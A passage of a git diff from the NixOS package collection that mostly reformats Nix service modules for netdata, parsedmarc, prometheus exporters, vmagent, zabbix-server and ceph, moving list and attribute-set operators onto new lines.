+    // lib.optionalAttrs (cfg.package.withIpmi) {
+      "freeipmi.plugin" = {
+        source = "${cfg.package}/libexec/netdata/plugins.d/freeipmi.plugin.org";
+        capabilities = "cap_dac_override,cap_fowner+ep";
+        owner = cfg.user;
+        group = cfg.group;
+        permissions = "u+rx,g+x,o-rwx";
+      };
+    }
+    // lib.optionalAttrs (cfg.package.withNetworkViewer) {
+      "network-viewer.plugin" = {
+        source = "${cfg.package}/libexec/netdata/plugins.d/network-viewer.plugin.org";
+        capabilities = "cap_sys_admin,cap_dac_read_search,cap_sys_ptrace+ep";
+        owner = cfg.user;
+        group = cfg.group;
+        permissions = "u+rx,g+x,o-rwx";
+      };
+    }
+    // lib.optionalAttrs (cfg.package.withNdsudo) {
+      "ndsudo" = {
+        source = "${cfg.package}/libexec/netdata/plugins.d/ndsudo.org";
+        setuid = true;
+        owner = "root";
+        group = cfg.group;
+        permissions = "u+rx,g+x,o-rwx";
+      };
+    };
+
     security.pam.loginLimits = [
       {
         domain = "netdata";
diff --git a/nixos/modules/services/monitoring/parsedmarc.nix b/nixos/modules/services/monitoring/parsedmarc.nix
index 4b3991ebf188..7b3f8bc34ac5 100644
--- a/nixos/modules/services/monitoring/parsedmarc.nix
+++ b/nixos/modules/services/monitoring/parsedmarc.nix
@@ -546,22 +546,21 @@ in
         serviceConfig = {
           ExecStartPre =
             let
-              startPreFullPrivileges =
-                ''
-                  set -o errexit -o pipefail -o nounset -o errtrace
-                  shopt -s inherit_errexit
+              startPreFullPrivileges = ''
+                set -o errexit -o pipefail -o nounset -o errtrace
+                shopt -s inherit_errexit
 
-                  umask u=rwx,g=,o=
-                  cp ${parsedmarcConfig} /run/parsedmarc/parsedmarc.ini
-                  chown parsedmarc:parsedmarc /run/parsedmarc/parsedmarc.ini
-                  ${secretReplacements}
-                ''
-                + lib.optionalString cfg.provision.localMail.enable ''
-                  openssl rand -hex 64 >/run/parsedmarc/dmarc_user_passwd
-                  replace-secret '@imap-password@' '/run/parsedmarc/dmarc_user_passwd' /run/parsedmarc/parsedmarc.ini
-                  echo "Setting new randomized password for user '${cfg.provision.localMail.recipientName}'."
-                  cat <(echo -n "${cfg.provision.localMail.recipientName}:") /run/parsedmarc/dmarc_user_passwd | chpasswd
-                '';
+                umask u=rwx,g=,o=
+                cp ${parsedmarcConfig} /run/parsedmarc/parsedmarc.ini
+                chown parsedmarc:parsedmarc /run/parsedmarc/parsedmarc.ini
+                ${secretReplacements}
+              ''
+              + lib.optionalString cfg.provision.localMail.enable ''
+                openssl rand -hex 64 >/run/parsedmarc/dmarc_user_passwd
+                replace-secret '@imap-password@' '/run/parsedmarc/dmarc_user_passwd' /run/parsedmarc/parsedmarc.ini
+                echo "Setting new randomized password for user '${cfg.provision.localMail.recipientName}'."
+                cat <(echo -n "${cfg.provision.localMail.recipientName}:") /run/parsedmarc/dmarc_user_passwd | chpasswd
+              '';
             in
             "+${pkgs.writeShellScript "parsedmarc-start-pre-full-privileges" startPreFullPrivileges}";
           Type = "simple";
diff --git a/nixos/modules/services/monitoring/prometheus/default.nix b/nixos/modules/services/monitoring/prometheus/default.nix
index aeac6dcd5417..efd516309148 100644
--- a/nixos/modules/services/monitoring/prometheus/default.nix
+++ b/nixos/modules/services/monitoring/prometheus/default.nix
@@ -201,7 +201,8 @@ let
         tls_config = mkOpt promTypes.tls_config ''
           TLS configuration.
         '';
-      } // extraOptions;
+      }
+      // extraOptions;
     };
 
   #
diff --git a/nixos/modules/services/monitoring/prometheus/exporters.nix b/nixos/modules/services/monitoring/prometheus/exporters.nix
index 2adc59eefbef..fb623d3600ca 100644
--- a/nixos/modules/services/monitoring/prometheus/exporters.nix
+++ b/nixos/modules/services/monitoring/prometheus/exporters.nix
@@ -414,134 +414,133 @@ in
   config = mkMerge (
     [
       {
-        assertions =
-          [
-            {
-              assertion =
-                cfg.ipmi.enable -> (cfg.ipmi.configFile != null) -> (!(lib.hasPrefix "/tmp/" cfg.ipmi.configFile));
-              message = ''
-                Config file specified in `services.prometheus.exporters.ipmi.configFile' must
-                  not reside within /tmp - it won't be visible to the systemd service.
-              '';
-            }
-            {
-              assertion =
-                cfg.ipmi.enable
-                -> (cfg.ipmi.webConfigFile != null)
-                -> (!(lib.hasPrefix "/tmp/" cfg.ipmi.webConfigFile));
-              message = ''
-                Config file specified in `services.prometheus.exporters.ipmi.webConfigFile' must
-                  not reside within /tmp - it won't be visible to the systemd service.
-              '';
-            }
-            {
-              assertion =
-                cfg.restic.enable -> ((cfg.restic.repository == null) != (cfg.restic.repositoryFile == null));
-              message = ''
-                Please specify either 'services.prometheus.exporters.restic.repository'
-                  or 'services.prometheus.exporters.restic.repositoryFile'.
-              '';
-            }
-            {
-              assertion =
-                cfg.snmp.enable -> ((cfg.snmp.configurationPath == null) != (cfg.snmp.configuration == null));
-              message = ''
-                Please ensure you have either `services.prometheus.exporters.snmp.configuration'
-                  or `services.prometheus.exporters.snmp.configurationPath' set!
-              '';
-            }
-            {
-              assertion =
-                cfg.mikrotik.enable -> ((cfg.mikrotik.configFile == null) != (cfg.mikrotik.configuration == null));
-              message = ''
-                Please specify either `services.prometheus.exporters.mikrotik.configuration'
-                  or `services.prometheus.exporters.mikrotik.configFile'.
-              '';
-            }
-            {
-              assertion = cfg.mail.enable -> ((cfg.mail.configFile == null) != (cfg.mail.configuration == null));
-              message = ''
-                Please specify either 'services.prometheus.exporters.mail.configuration'
-                  or 'services.prometheus.exporters.mail.configFile'.
-              '';
-            }
-            {
-              assertion = cfg.mysqld.runAsLocalSuperUser -> config.services.mysql.enable;
-              message = ''
-                The exporter is configured to run as 'services.mysql.user', but
-                  'services.mysql.enable' is set to false.
-              '';
-            }
-            {
-              assertion =
-                cfg.nextcloud.enable -> ((cfg.nextcloud.passwordFile == null) != (cfg.nextcloud.tokenFile == null));
-              message = ''
-                Please specify either 'services.prometheus.exporters.nextcloud.passwordFile' or
-                  'services.prometheus.exporters.nextcloud.tokenFile'
-              '';
-            }
-            {
-              assertion = cfg.sql.enable -> ((cfg.sql.configFile == null) != (cfg.sql.configuration == null));
-              message = ''
-                Please specify either 'services.prometheus.exporters.sql.configuration' or
-                  'services.prometheus.exporters.sql.configFile'
-              '';
-            }
-            {
-              assertion = cfg.scaphandre.enable -> (pkgs.stdenv.targetPlatform.isx86_64 == true);
-              message = ''
-                Scaphandre only support x86_64 architectures.
-              '';
-            }
-            {
-              assertion =
-                cfg.scaphandre.enable
-                -> ((lib.kernel.whenHelpers pkgs.linux.version).whenOlder "5.11" true).condition == false;
-              message = ''
-                Scaphandre requires a kernel version newer than '5.11', '${pkgs.linux.version}' given.
-              '';
-            }
-            {
-              assertion = cfg.scaphandre.enable -> (builtins.elem "intel_rapl_common" config.boot.kernelModules);
-              message = ''
-                Scaphandre needs 'intel_rapl_common' kernel module to be enabled. Please add it in 'boot.kernelModules'.
-              '';
-            }
-            {
-              assertion =
-                cfg.idrac.enable -> ((cfg.idrac.configurationPath == null) != (cfg.idrac.configuration == null));
-              message = ''
-                Please ensure you have either `services.prometheus.exporters.idrac.configuration'
-                  or `services.prometheus.exporters.idrac.configurationPath' set!
-              '';
-            }
-            {
-              assertion =
-                cfg.deluge.enable
-                -> ((cfg.deluge.delugePassword == null) != (cfg.deluge.delugePasswordFile == null));
-              message = ''
-                Please ensure you have either `services.prometheus.exporters.deluge.delugePassword'
-                  or `services.prometheus.exporters.deluge.delugePasswordFile' set!
-              '';
-            }
-            {
-              assertion =
-                cfg.pgbouncer.enable
-                -> (xor (cfg.pgbouncer.connectionEnvFile == null) (cfg.pgbouncer.connectionString == null));
-              message = ''
-                Options `services.prometheus.exporters.pgbouncer.connectionEnvFile` and
-                `services.prometheus.exporters.pgbouncer.connectionString` are mutually exclusive!
-              '';
-            }
-          ]
-          ++ (flip map (attrNames exporterOpts) (exporter: {
-            assertion = cfg.${exporter}.firewallFilter != null -> cfg.${exporter}.openFirewall;
+        assertions = [
+          {
+            assertion =
+              cfg.ipmi.enable -> (cfg.ipmi.configFile != null) -> (!(lib.hasPrefix "/tmp/" cfg.ipmi.configFile));
             message = ''
-              The `firewallFilter'-option of exporter ${exporter} doesn't have any effect unless
-              `openFirewall' is set to `true'!
+              Config file specified in `services.prometheus.exporters.ipmi.configFile' must
+                not reside within /tmp - it won't be visible to the systemd service.
             '';
-          }))
-          ++ config.services.prometheus.exporters.assertions;
+          }
+          {
+            assertion =
+              cfg.ipmi.enable
+              -> (cfg.ipmi.webConfigFile != null)
+              -> (!(lib.hasPrefix "/tmp/" cfg.ipmi.webConfigFile));
+            message = ''
+              Config file specified in `services.prometheus.exporters.ipmi.webConfigFile' must
+                not reside within /tmp - it won't be visible to the systemd service.
+            '';
+          }
+          {
+            assertion =
+              cfg.restic.enable -> ((cfg.restic.repository == null) != (cfg.restic.repositoryFile == null));
+            message = ''
+              Please specify either 'services.prometheus.exporters.restic.repository'
+                or 'services.prometheus.exporters.restic.repositoryFile'.
+            '';
+          }
+          {
+            assertion =
+              cfg.snmp.enable -> ((cfg.snmp.configurationPath == null) != (cfg.snmp.configuration == null));
+            message = ''
+              Please ensure you have either `services.prometheus.exporters.snmp.configuration'
+                or `services.prometheus.exporters.snmp.configurationPath' set!
+            '';
+          }
+          {
+            assertion =
+              cfg.mikrotik.enable -> ((cfg.mikrotik.configFile == null) != (cfg.mikrotik.configuration == null));
+            message = ''
+              Please specify either `services.prometheus.exporters.mikrotik.configuration'
+                or `services.prometheus.exporters.mikrotik.configFile'.
+            '';
+          }
+          {
+            assertion = cfg.mail.enable -> ((cfg.mail.configFile == null) != (cfg.mail.configuration == null));
+            message = ''
+              Please specify either 'services.prometheus.exporters.mail.configuration'
+                or 'services.prometheus.exporters.mail.configFile'.
+            '';
+          }
+          {
+            assertion = cfg.mysqld.runAsLocalSuperUser -> config.services.mysql.enable;
+            message = ''
+              The exporter is configured to run as 'services.mysql.user', but
+                'services.mysql.enable' is set to false.
+            '';
+          }
+          {
+            assertion =
+              cfg.nextcloud.enable -> ((cfg.nextcloud.passwordFile == null) != (cfg.nextcloud.tokenFile == null));
+            message = ''
+              Please specify either 'services.prometheus.exporters.nextcloud.passwordFile' or
+                'services.prometheus.exporters.nextcloud.tokenFile'
+            '';
+          }
+          {
+            assertion = cfg.sql.enable -> ((cfg.sql.configFile == null) != (cfg.sql.configuration == null));
+            message = ''
+              Please specify either 'services.prometheus.exporters.sql.configuration' or
+                'services.prometheus.exporters.sql.configFile'
+            '';
+          }
+          {
+            assertion = cfg.scaphandre.enable -> (pkgs.stdenv.targetPlatform.isx86_64 == true);
+            message = ''
+              Scaphandre only support x86_64 architectures.
+            '';
+          }
+          {
+            assertion =
+              cfg.scaphandre.enable
+              -> ((lib.kernel.whenHelpers pkgs.linux.version).whenOlder "5.11" true).condition == false;
+            message = ''
+              Scaphandre requires a kernel version newer than '5.11', '${pkgs.linux.version}' given.
+            '';
+          }
+          {
+            assertion = cfg.scaphandre.enable -> (builtins.elem "intel_rapl_common" config.boot.kernelModules);
+            message = ''
+              Scaphandre needs 'intel_rapl_common' kernel module to be enabled. Please add it in 'boot.kernelModules'.
+            '';
+          }
+          {
+            assertion =
+              cfg.idrac.enable -> ((cfg.idrac.configurationPath == null) != (cfg.idrac.configuration == null));
+            message = ''
+              Please ensure you have either `services.prometheus.exporters.idrac.configuration'
+                or `services.prometheus.exporters.idrac.configurationPath' set!
+            '';
+          }
+          {
+            assertion =
+              cfg.deluge.enable
+              -> ((cfg.deluge.delugePassword == null) != (cfg.deluge.delugePasswordFile == null));
+            message = ''
+              Please ensure you have either `services.prometheus.exporters.deluge.delugePassword'
+                or `services.prometheus.exporters.deluge.delugePasswordFile' set!
+            '';
+          }
+          {
+            assertion =
+              cfg.pgbouncer.enable
+              -> (xor (cfg.pgbouncer.connectionEnvFile == null) (cfg.pgbouncer.connectionString == null));
+            message = ''
+              Options `services.prometheus.exporters.pgbouncer.connectionEnvFile` and
+              `services.prometheus.exporters.pgbouncer.connectionString` are mutually exclusive!
+            '';
+          }
+        ]
+        ++ (flip map (attrNames exporterOpts) (exporter: {
+          assertion = cfg.${exporter}.firewallFilter != null -> cfg.${exporter}.openFirewall;
+          message = ''
+            The `firewallFilter'-option of exporter ${exporter} doesn't have any effect unless
+            `openFirewall' is set to `true'!
+          '';
+        }))
+        ++ config.services.prometheus.exporters.assertions;
         warnings = [
           (mkIf
             (
@@ -554,7 +553,8 @@ in
               Consider using `services.prometheus.exporters.idrac.configuration` instead.
             ''
           )
-        ] ++ config.services.prometheus.exporters.warnings;
+        ]
+        ++ config.services.prometheus.exporters.warnings;
       }
     ]
     ++ [
diff --git a/nixos/modules/services/monitoring/prometheus/exporters/bitcoin.nix b/nixos/modules/services/monitoring/prometheus/exporters/bitcoin.nix
index ca1e0f7aaa95..c13d6b369cf9 100644
--- a/nixos/modules/services/monitoring/prometheus/exporters/bitcoin.nix
+++ b/nixos/modules/services/monitoring/prometheus/exporters/bitcoin.nix
@@ -87,6 +87,7 @@ in
       METRICS_ADDR = cfg.listenAddress;
       METRICS_PORT = toString cfg.port;
       REFRESH_SECONDS = toString cfg.refreshSeconds;
-    } // cfg.extraEnv;
+    }
+    // cfg.extraEnv;
   };
 }
diff --git a/nixos/modules/services/monitoring/prometheus/exporters/deluge.nix b/nixos/modules/services/monitoring/prometheus/exporters/deluge.nix
index ec3cbaf9c40e..5297bcd089f5 100644
--- a/nixos/modules/services/monitoring/prometheus/exporters/deluge.nix
+++ b/nixos/modules/services/monitoring/prometheus/exporters/deluge.nix
@@ -72,21 +72,20 @@ in
       ExecStart = ''
         ${pkgs.prometheus-deluge-exporter}/bin/deluge-exporter
       '';
-      Environment =
-        [
-          "LISTEN_PORT=${toString cfg.port}"
-          "LISTEN_ADDRESS=${toString cfg.listenAddress}"
+      Environment = [
+        "LISTEN_PORT=${toString cfg.port}"
+        "LISTEN_ADDRESS=${toString cfg.listenAddress}"
 
-          "DELUGE_HOST=${cfg.delugeHost}"
-          "DELUGE_USER=${cfg.delugeUser}"
-          "DELUGE_PORT=${toString cfg.delugePort}"
-        ]
-        ++ lib.optionals (cfg.delugePassword != null) [
-          "DELUGE_PASSWORD=${cfg.delugePassword}"
-        ]
-        ++ lib.optionals cfg.exportPerTorrentMetrics [
-          "PER_TORRENT_METRICS=1"
-        ];
+        "DELUGE_HOST=${cfg.delugeHost}"
+        "DELUGE_USER=${cfg.delugeUser}"
+        "DELUGE_PORT=${toString cfg.delugePort}"
+      ]
+      ++ lib.optionals (cfg.delugePassword != null) [
+        "DELUGE_PASSWORD=${cfg.delugePassword}"
+      ]
+      ++ lib.optionals cfg.exportPerTorrentMetrics [
+        "PER_TORRENT_METRICS=1"
+      ];
       EnvironmentFile = lib.optionalString (
         cfg.delugePasswordFile != null
       ) "/etc/deluge-exporter/password";
diff --git a/nixos/modules/services/monitoring/prometheus/exporters/node.nix b/nixos/modules/services/monitoring/prometheus/exporters/node.nix
index d2245fb93062..c543ac9a206e 100644
--- a/nixos/modules/services/monitoring/prometheus/exporters/node.nix
+++ b/nixos/modules/services/monitoring/prometheus/exporters/node.nix
@@ -54,12 +54,13 @@ in
           # needs access to dbus via unix sockets (logind/systemd)
           "AF_UNIX"
         ]
-        ++ optionals
-          (collectorIsEnabled "network_route" || collectorIsEnabled "wifi" || !collectorIsDisabled "netdev")
-          [
-            # needs netlink sockets for wireless collector
-            "AF_NETLINK"
-          ];
+        ++
+          optionals
+            (collectorIsEnabled "network_route" || collectorIsEnabled "wifi" || !collectorIsDisabled "netdev")
+            [
+              # needs netlink sockets for wireless collector
+              "AF_NETLINK"
+            ];
       # The timex collector needs to access clock APIs
       ProtectClock = collectorIsDisabled "timex";
       # Allow space monitoring under /home
diff --git a/nixos/modules/services/monitoring/prometheus/exporters/pve.nix b/nixos/modules/services/monitoring/prometheus/exporters/pve.nix
index c13dc71cf340..c05dde9a29df 100644
--- a/nixos/modules/services/monitoring/prometheus/exporters/pve.nix
+++ b/nixos/modules/services/monitoring/prometheus/exporters/pve.nix
@@ -130,27 +130,26 @@ in
     };
   };
   serviceOpts = {
-    serviceConfig =
-      {
-        DynamicUser = cfg.environmentFile == null;
-        LoadCredential = "configFile:${computedConfigFile}";
-        ExecStart = ''
-          ${cfg.package}/bin/pve_exporter \
-            --${optionalString (!cfg.collectors.status) "no-"}collector.status \
-            --${optionalString (!cfg.collectors.version) "no-"}collector.version \
-            --${optionalString (!cfg.collectors.node) "no-"}collector.node \
-            --${optionalString (!cfg.collectors.cluster) "no-"}collector.cluster \
-            --${optionalString (!cfg.collectors.resources) "no-"}collector.resources \
-            --${optionalString (!cfg.collectors.config) "no-"}collector.config \
-            --${optionalString (!cfg.collectors.replication) "no-"}collector.replication \
-            ${optionalString (cfg.server.keyFile != null) "--server.keyfile ${cfg.server.keyFile}"} \
-            ${optionalString (cfg.server.certFile != null) "--server.certfile ${cfg.server.certFile}"} \
-            --config.file %d/configFile \
-            --web.listen-address ${cfg.listenAddress}:${toString cfg.port}
-        '';
-      }
-      // optionalAttrs (cfg.environmentFile != null) {
-        EnvironmentFile = cfg.environmentFile;
-      };
+    serviceConfig = {
+      DynamicUser = cfg.environmentFile == null;
+      LoadCredential = "configFile:${computedConfigFile}";
+      ExecStart = ''
+        ${cfg.package}/bin/pve_exporter \
+          --${optionalString (!cfg.collectors.status) "no-"}collector.status \
+          --${optionalString (!cfg.collectors.version) "no-"}collector.version \
+          --${optionalString (!cfg.collectors.node) "no-"}collector.node \
+          --${optionalString (!cfg.collectors.cluster) "no-"}collector.cluster \
+          --${optionalString (!cfg.collectors.resources) "no-"}collector.resources \
+          --${optionalString (!cfg.collectors.config) "no-"}collector.config \
+          --${optionalString (!cfg.collectors.replication) "no-"}collector.replication \
+          ${optionalString (cfg.server.keyFile != null) "--server.keyfile ${cfg.server.keyFile}"} \
+          ${optionalString (cfg.server.certFile != null) "--server.certfile ${cfg.server.certFile}"} \
+          --config.file %d/configFile \
+          --web.listen-address ${cfg.listenAddress}:${toString cfg.port}
+      '';
+    }
+    // optionalAttrs (cfg.environmentFile != null) {
+      EnvironmentFile = cfg.environmentFile;
+    };
   };
 }
diff --git a/nixos/modules/services/monitoring/prometheus/exporters/restic.nix b/nixos/modules/services/monitoring/prometheus/exporters/restic.nix
index 615d78317d38..79d412bf0458 100644
--- a/nixos/modules/services/monitoring/prometheus/exporters/restic.nix
+++ b/nixos/modules/services/monitoring/prometheus/exporters/restic.nix
@@ -144,7 +144,8 @@ in
       EnvironmentFile = mkIf (cfg.environmentFile != null) cfg.environmentFile;
       LoadCredential = [
         "RESTIC_PASSWORD_FILE:${cfg.passwordFile}"
-      ] ++ optional (cfg.repositoryFile != null) [ "RESTIC_REPOSITORY:${cfg.repositoryFile}" ];
+      ]
+      ++ optional (cfg.repositoryFile != null) [ "RESTIC_REPOSITORY:${cfg.repositoryFile}" ];
     };
     environment =
       let
diff --git a/nixos/modules/services/monitoring/prometheus/exporters/unbound.nix b/nixos/modules/services/monitoring/prometheus/exporters/unbound.nix
index 80a97d42e972..73656b896085 100644
--- a/nixos/modules/services/monitoring/prometheus/exporters/unbound.nix
+++ b/nixos/modules/services/monitoring/prometheus/exporters/unbound.nix
@@ -84,28 +84,27 @@ in
   serviceOpts = mkMerge (
     [
       {
-        serviceConfig =
-          {
-            User = "unbound"; # to access the unbound_control.key
-            ExecStart = ''
-              ${pkgs.prometheus-unbound-exporter}/bin/unbound_exporter \
-                --unbound.host "${cfg.unbound.host}" \
-                --web.listen-address ${cfg.listenAddress}:${toString cfg.port} \
-                --web.telemetry-path ${cfg.telemetryPath} \
-                ${optionalString (cfg.unbound.ca != null) "--unbound.ca ${cfg.unbound.ca}"} \
-                ${optionalString (cfg.unbound.certificate != null) "--unbound.cert ${cfg.unbound.certificate}"} \
-                ${optionalString (cfg.unbound.key != null) "--unbound.key ${cfg.unbound.key}"} \
-                ${toString cfg.extraFlags}
-            '';
-            RestrictAddressFamilies = [
-              "AF_UNIX"
-              "AF_INET"
-              "AF_INET6"
-            ];
-          }
-          // optionalAttrs (!config.services.unbound.enable) {
-            DynamicUser = true;
-          };
+        serviceConfig = {
+          User = "unbound"; # to access the unbound_control.key
+          ExecStart = ''
+            ${pkgs.prometheus-unbound-exporter}/bin/unbound_exporter \
+              --unbound.host "${cfg.unbound.host}" \
+              --web.listen-address ${cfg.listenAddress}:${toString cfg.port} \
+              --web.telemetry-path ${cfg.telemetryPath} \
+              ${optionalString (cfg.unbound.ca != null) "--unbound.ca ${cfg.unbound.ca}"} \
+              ${optionalString (cfg.unbound.certificate != null) "--unbound.cert ${cfg.unbound.certificate}"} \
+              ${optionalString (cfg.unbound.key != null) "--unbound.key ${cfg.unbound.key}"} \
+              ${toString cfg.extraFlags}
+          '';
+          RestrictAddressFamilies = [
+            "AF_UNIX"
+            "AF_INET"
+            "AF_INET6"
+          ];
+        }
+        // optionalAttrs (!config.services.unbound.enable) {
+          DynamicUser = true;
+        };
       }
     ]
     ++ [
diff --git a/nixos/modules/services/monitoring/vmagent.nix b/nixos/modules/services/monitoring/vmagent.nix
index db65e72cefff..e0d2196814cf 100644
--- a/nixos/modules/services/monitoring/vmagent.nix
+++ b/nixos/modules/services/monitoring/vmagent.nix
@@ -9,21 +9,20 @@ let
   cfg = config.services.vmagent;
   settingsFormat = pkgs.formats.yaml { };
 
-  startCLIList =
-    [
-      "${cfg.package}/bin/vmagent"
-    ]
-    ++ lib.optionals (cfg.remoteWrite.url != null) [
-      "-remoteWrite.url=${cfg.remoteWrite.url}"
-      "-remoteWrite.tmpDataPath=%C/vmagent/remote_write_tmp"
-    ]
-    ++ lib.optional (
-      cfg.remoteWrite.basicAuthUsername != null
-    ) "-remoteWrite.basicAuth.username=${cfg.remoteWrite.basicAuthUsername}"
-    ++ lib.optional (
-      cfg.remoteWrite.basicAuthPasswordFile != null
-    ) "-remoteWrite.basicAuth.passwordFile=\${CREDENTIALS_DIRECTORY}/remote_write_basic_auth_password"
-    ++ cfg.extraArgs;
+  startCLIList = [
+    "${cfg.package}/bin/vmagent"
+  ]
+  ++ lib.optionals (cfg.remoteWrite.url != null) [
+    "-remoteWrite.url=${cfg.remoteWrite.url}"
+    "-remoteWrite.tmpDataPath=%C/vmagent/remote_write_tmp"
+  ]
+  ++ lib.optional (
+    cfg.remoteWrite.basicAuthUsername != null
+  ) "-remoteWrite.basicAuth.username=${cfg.remoteWrite.basicAuthUsername}"
+  ++ lib.optional (
+    cfg.remoteWrite.basicAuthPasswordFile != null
+  ) "-remoteWrite.basicAuth.passwordFile=\${CREDENTIALS_DIRECTORY}/remote_write_basic_auth_password"
+  ++ cfg.extraArgs;
   prometheusConfigYml = checkedConfig (
     settingsFormat.generate "prometheusConfig.yaml" cfg.prometheusConfig
   );
diff --git a/nixos/modules/services/monitoring/zabbix-server.nix b/nixos/modules/services/monitoring/zabbix-server.nix
index 3fd18ce2d6d1..9af4e6838877 100644
--- a/nixos/modules/services/monitoring/zabbix-server.nix
+++ b/nixos/modules/services/monitoring/zabbix-server.nix
@@ -331,33 +331,32 @@ in
       after = optional mysqlLocal "mysql.service" ++ optional pgsqlLocal "postgresql.service";
 
       path = [ "/run/wrappers" ] ++ cfg.extraPackages;
-      preStart =
-        ''
-          # pre 19.09 compatibility
-          if test -e "${runtimeDir}/db-created"; then
-            mv "${runtimeDir}/db-created" "${stateDir}/"
-          fi
-        ''
-        + optionalString pgsqlLocal ''
-          if ! test -e "${stateDir}/db-created"; then
-            cat ${cfg.package}/share/zabbix/database/postgresql/schema.sql | ${pgsql.package}/bin/psql ${cfg.database.name}
-            cat ${cfg.package}/share/zabbix/database/postgresql/images.sql | ${pgsql.package}/bin/psql ${cfg.database.name}
-            cat ${cfg.package}/share/zabbix/database/postgresql/data.sql | ${pgsql.package}/bin/psql ${cfg.database.name}
-            touch "${stateDir}/db-created"
-          fi
-        ''
-        + optionalString mysqlLocal ''
-          if ! test -e "${stateDir}/db-created"; then
-            cat ${cfg.package}/share/zabbix/database/mysql/schema.sql | ${mysql.package}/bin/mysql ${cfg.database.name}
-            cat ${cfg.package}/share/zabbix/database/mysql/images.sql | ${mysql.package}/bin/mysql ${cfg.database.name}
-            cat ${cfg.package}/share/zabbix/database/mysql/data.sql | ${mysql.package}/bin/mysql ${cfg.database.name}
-            touch "${stateDir}/db-created"
-          fi
-        ''
-        + optionalString (cfg.database.passwordFile != null) ''
-          # create a copy of the supplied password file in a format zabbix can consume
-          install -m 0600 <(echo "DBPassword = $(cat ${cfg.database.passwordFile})") ${passwordFile}
-        '';
+      preStart = ''
+        # pre 19.09 compatibility
+        if test -e "${runtimeDir}/db-created"; then
+          mv "${runtimeDir}/db-created" "${stateDir}/"
+        fi
+      ''
+      + optionalString pgsqlLocal ''
+        if ! test -e "${stateDir}/db-created"; then
+          cat ${cfg.package}/share/zabbix/database/postgresql/schema.sql | ${pgsql.package}/bin/psql ${cfg.database.name}
+          cat ${cfg.package}/share/zabbix/database/postgresql/images.sql | ${pgsql.package}/bin/psql ${cfg.database.name}
+          cat ${cfg.package}/share/zabbix/database/postgresql/data.sql | ${pgsql.package}/bin/psql ${cfg.database.name}
+          touch "${stateDir}/db-created"
+        fi
+      ''
+      + optionalString mysqlLocal ''
+        if ! test -e "${stateDir}/db-created"; then
+          cat ${cfg.package}/share/zabbix/database/mysql/schema.sql | ${mysql.package}/bin/mysql ${cfg.database.name}
+          cat ${cfg.package}/share/zabbix/database/mysql/images.sql | ${mysql.package}/bin/mysql ${cfg.database.name}
+          cat ${cfg.package}/share/zabbix/database/mysql/data.sql | ${mysql.package}/bin/mysql ${cfg.database.name}
+          touch "${stateDir}/db-created"
+        fi
+      ''
+      + optionalString (cfg.database.passwordFile != null) ''
+        # create a copy of the supplied password file in a format zabbix can consume
+        install -m 0600 <(echo "DBPassword = $(cat ${cfg.database.passwordFile})") ${passwordFile}
+      '';
 
       serviceConfig = {
         ExecStart = "@${cfg.package}/sbin/zabbix_server zabbix_server -f --config ${configFile}";
diff --git a/nixos/modules/services/network-filesystems/ceph.nix b/nixos/modules/services/network-filesystems/ceph.nix
index c07986411baa..fa9c7955afde 100644
--- a/nixos/modules/services/network-filesystems/ceph.nix
+++ b/nixos/modules/services/network-filesystems/ceph.nix
@@ -36,7 +36,8 @@ let
       after = [
         "network-online.target"
         "time-sync.target"
-      ] ++ lib.optional (daemonType == "osd") "ceph-mon.target";
+      ]
+      ++ lib.optional (daemonType == "osd") "ceph-mon.target";
       wants = [
         "network-online.target"
         "time-sync.target"
@@ -62,32 +63,31 @@ let
           5;
       startLimitIntervalSec = 60 * 30; # 30 mins
 
-      serviceConfig =
-        {
-          LimitNOFILE = 1048576;
-          LimitNPROC = 1048576;
-          Environment = "CLUSTER=${clusterName}";
-          ExecReload = "${pkgs.coreutils}/bin/kill -HUP $MAINPID";
-          PrivateDevices = "yes";
-          PrivateTmp = "true";
-          ProtectHome = "true";
-          ProtectSystem = "full";
-          Restart = "on-failure";
-          StateDirectory = stateDirectory;
-          User = "ceph";
-          Group = if daemonType == "osd" then "disk" else "ceph";
-          ExecStart = ''
-            ${ceph.out}/bin/${if daemonType == "rgw" then "radosgw" else "ceph-${daemonType}"} \
-            -f --cluster ${clusterName} --id ${daemonId}'';
-        }
-        // lib.optionalAttrs (daemonType == "osd") {
-          ExecStartPre = "${ceph.lib}/libexec/ceph/ceph-osd-prestart.sh --id ${daemonId} --cluster ${clusterName}";
-          RestartSec = "20s";
-          PrivateDevices = "no"; # osd needs disk access
-        }
-        // lib.optionalAttrs (daemonType == "mon") {
-          RestartSec = "10";
-        };
+      serviceConfig = {
+        LimitNOFILE = 1048576;
+        LimitNPROC = 1048576;
+        Environment = "CLUSTER=${clusterName}";
+        ExecReload = "${pkgs.coreutils}/bin/kill -HUP $MAINPID";
+        PrivateDevices = "yes";
+        PrivateTmp = "true";
+        ProtectHome = "true";
+        ProtectSystem = "full";
+        Restart = "on-failure";
+        StateDirectory = stateDirectory;
+        User = "ceph";
+        Group = if daemonType == "osd" then "disk" else "ceph";
+        ExecStart = ''
+          ${ceph.out}/bin/${if daemonType == "rgw" then "radosgw" else "ceph-${daemonType}"} \
+          -f --cluster ${clusterName} --id ${daemonId}'';
+      }
+      // lib.optionalAttrs (daemonType == "osd") {
+        ExecStartPre = "${ceph.lib}/libexec/ceph/ceph-osd-prestart.sh --id ${daemonId} --cluster ${clusterName}";
+        RestartSec = "20s";
+        PrivateDevices = "no"; # osd needs disk access
+      }
+      // lib.optionalAttrs (daemonType == "mon") {
+        RestartSec = "10";
+      };
     };
 
   makeTarget = daemonType: {
@@ -419,14 +419,13 @@ in
         );
         # Remove all name-value pairs with null values from the attribute set to avoid making empty sections in the ceph.conf
         globalSection' = lib.filterAttrs (name: value: value != null) globalSection;
-        totalConfig =
-          {
-            global = globalSection';
-          }
-          // lib.optionalAttrs (cfg.mon.enable && cfg.mon.extraConfig != { }) { mon = cfg.mon.extraConfig; }
-          // lib.optionalAttrs (cfg.mds.enable && cfg.mds.extraConfig != { }) { mds = cfg.mds.extraConfig; }
-          // lib.optionalAttrs (cfg.osd.enable && cfg.osd.extraConfig != { }) { osd = cfg.osd.extraConfig; }
-          // lib.optionalAttrs (cfg.client.enable && cfg.client.extraConfig != { }) cfg.client.extraConfig;
+        totalConfig = {
+          global = globalSection';
+        }
+        // lib.optionalAttrs (cfg.mon.enable && cfg.mon.extraConfig != { }) { mon = cfg.mon.extraConfig; }
+        // lib.optionalAttrs (cfg.mds.enable && cfg.mds.extraConfig != { }) { mds = cfg.mds.extraConfig; }
+        // lib.optionalAttrs (cfg.osd.enable && cfg.osd.extraConfig != { }) { osd = cfg.osd.extraConfig; }
